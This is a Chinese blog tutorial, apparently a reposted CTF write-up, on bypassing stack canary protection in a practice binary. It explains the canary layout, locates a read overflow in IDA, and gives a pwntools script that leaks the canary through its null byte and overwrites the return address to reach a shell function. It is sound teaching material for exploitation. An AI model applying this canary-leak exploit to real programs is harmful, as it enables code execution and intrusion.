Canary机制的绕过

目标程序下载
提取码:8ypi

1.检查程序开启了哪些安全保护机制

1592252-20190422230136346-1510014422.png

Canary与NX开启了

Canary机制简介

64位的canary机制,会在函数头部添加:
    mov    rax,QWORD PTR fs:0x28               //从fs:0x28寄存器中取一个值
    mov    QWORD PTR [rbp-0x8],rax             //写入当前栈帧底部(RBP前方第一个数)

结尾部分添加:
    mov    rcx,QWORD PTR [rbp-0x8]             //把金丝雀值取出
    xor    rcx,QWORD PTR fs:0x28               //比较与寄存器中的是否一样
    je     xxxxx                               //函数正常退出
    call   0x400580 <__stack_chk_fail@plt>     //__stack_chk_fail()函数功能为报告栈损坏

当前函数栈帧为:
0040| 0x7fffffffe088 --> 0xf383d165ddc4a700    //Canary值
0048| 0x7fffffffe090 --> 0x7fffffffe4c0        //上个函数栈帧的RBP
0056| 0x7fffffffe098 --> 0x4007a1              //上个函数栈帧的RIP
  • Canary值在rbp到rsp之间,(并不一定是rbp-8的位置很长一段时间我认为是在rbp-8位置,[自嘲的笑了笑])
  • Canary值以0x00结尾,如果程序没有漏洞但栈上面刚好是一个满的字符串,这个0x00可以当做截断,避免被打印出来
  • Canary值如果被改写,程序会崩溃

2.在IDA中查找码漏洞与可以被我们利用的位置

1592252-20190422230300601-1894794252.png

可以看到buf只有 0x70-0xc=0x64 的大小,但是read的第三个参数却是0x200,漏洞点找到了

v3这个变量就是Canary的值

而且在IDA中还找到了这么一个函数.....

1592252-20190422230322943-1567697230.png

只要让程序运行到这个函数就ok了,好简单

看一下这个函数的地址

1592252-20190422230340539-2035764720.png

Canary机制怎么绕过?

Canary的值最后两位是0,也就是说是一个字符的大小,如果上面是字符串,写多了一位,刚好把这个00覆盖掉
那么,就能打印出前几位Canary的值,然后在自己的payload中Canary的位置写上这个值,让Canary原来的值与
自己写的值一样,这样在函数结束时的Canary验证函数就不会出错

from pwn import *
p = process("./leak_canary")
get_shell = 0x0804859B
p.recvuntil("Hello Hacker!\n")
offset = 0x70-0xC

payload = (offset)*"a" + "b"
p.send(payload)

p.recvuntil("ab")
canary = u32(p.recv(3).rjust(4,"\x00"))#得到canary的值

payload2 =(offset)*"a" + p32(canary) + "b"*12 + p32(get_shell)
# payload2= buf + canary + canary到返回地址的大小 + 返回地址

p.send(payload2)
p.interactive()
成功得到shell

1592252-20190422230403288-1012168675.png

转载于:https://www.cnblogs.com/jazm/p/10753741.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值